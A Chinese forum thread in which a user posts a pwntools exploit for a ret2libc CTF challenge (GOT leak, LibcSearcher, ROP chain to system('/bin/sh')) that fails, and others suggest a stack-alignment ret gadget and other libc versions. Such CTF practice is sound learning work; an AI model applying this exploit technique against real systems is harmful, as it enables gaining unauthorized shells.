ret2libc 遗憾版
题目:https://fbxy.lanzoum.com/i3zCP0z3tw1g思路:根据输入泄露出puts的got地址,随后用libcsercher计算libc的基地址,最后找到system函数和/bib/sh字符串的地址,最后通过构造rop链去执行system(''/bin/sh),exp如下:
from pwn import *
from LibcSearcher import *
context(arch="amd64", os="linux" , log_level ="debug" )
p = process("./ret2libc")
e = ELF("./ret2libc")
puts_got_addr = e.got["puts"]
p.sendlineafter("Give me the address in hex: ",hex(puts_got_addr))
p.recvuntil("\nContent: ")
puts_real_addr = int(p.recvuntil("\n")[:-1])
print(hex(int(puts_real_addr)))
libc = LibcSearcher('puts',puts_real_addr)
libc_base = puts_real_addr-libc.dump('puts')
system_addr = libc.dump("system")+libc_base
bin_sh_addr = libc.dump('str_bin_sh')+libc_base
offset = 0x38
pop_rdi = 0x00000000004007d3 # pop rdi ; ret
paylload = offset*b'a'
paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendlineafter("Give me your messege: ",paylload)
p.interactive()
但是运行exp失败了,各位师傅瞅瞅是那个地方有问题吗?
把这行代码paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)改成下面两行代码,看看可以打通不?
ret = 0x400760
paylload += p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr) 晨泽丶 发表于 2023-6-14 15:05
把这行代码paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)改成下面两行代码,看看可以打通不 ...
谢谢师傅,还是EOF了 可以尝试多换一点Libc文件,如果能上网可以试试联网的LibcSearcher,exp看不出来什么大问题,上面那个师傅的+ret是在Ubuntu 18开始才需要的栈对齐,如果是16及以下的libc通常是不需要的
应该就是libc文件的问题,上网查查题目的libc版本试试别的师傅的exp的本地偏移能不能做出来吧 KaguyaX 发表于 2023-7-19 00:42
可以尝试多换一点Libc文件,如果能上网可以试试联网的LibcSearcher,exp看不出来什么大问题,上面那个师傅 ...
好的,多谢师傅
页:
[1]